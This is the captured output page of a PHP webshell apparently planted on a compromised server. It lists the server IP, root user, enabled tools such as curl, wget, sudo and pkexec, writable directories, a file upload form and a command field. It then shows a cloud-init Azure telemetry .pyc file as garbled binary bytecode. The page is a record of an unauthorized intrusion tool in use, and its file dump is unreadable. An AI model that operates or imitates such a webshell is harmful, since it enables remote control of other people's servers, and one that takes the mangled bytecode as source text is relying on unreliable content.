403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/kvp.cpython-38.pyc
U

Ӈgk�@s�ddlZddlmZmZddlmZddlmZddlmZm	Z	ddl
mZmZe�
e�Zeejd�dd	�Zeed
�dd�Zejed
�dd�Zed�dd�ZdS)�N)�datetime�timezone)�Optional)�version)�handlers�instantiated_handler_registry)�errors�identity)�returncCs tj�d�}t|tj�sdS|S)z'Get instantiated KVP telemetry handler.Z	telemetryN)rZregistered_items�get�
isinstancer�HyperVKvpReportingHandler)�kvp_handler�r�=/usr/lib/python3/dist-packages/cloudinit/sources/azure/kvp.py�get_kvp_handlers�r)�reportr
cCs,t�}|dkrt�d�dS|�d|�dS)z/Report to host via PROVISIONING_REPORT KVP key.Nz.KVP handler not enabled, skipping host report.FZPROVISIONING_REPORTT)r�LOG�debugZ	write_key)rrrrr�report_via_kvps
r)�errorr
cCst|���S)N)rZas_encoded_report)rrrr�report_failure_to_host&src
Csvzt��}Wn,tk
r8}zd|��}W5d}~XYnXt�ddt����dt�t	j
�����d|��g�}t|�S)Nzfailed to read vm id: zresult=successzagent=Cloud-Init/z
timestamp=zvm_id=)
r	Zquery_vm_id�	ExceptionrZ
encode_reportrZversion_stringrZnowrZutcZ	isoformatr)Zvm_idZid_errorrrrr�report_success_to_host*s��	r)Zloggingrr�typingrZ	cloudinitrZcloudinit.reportingrrZcloudinit.sources.azurerr	Z	getLogger�__name__rr
r�str�boolrZReportableErrorrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit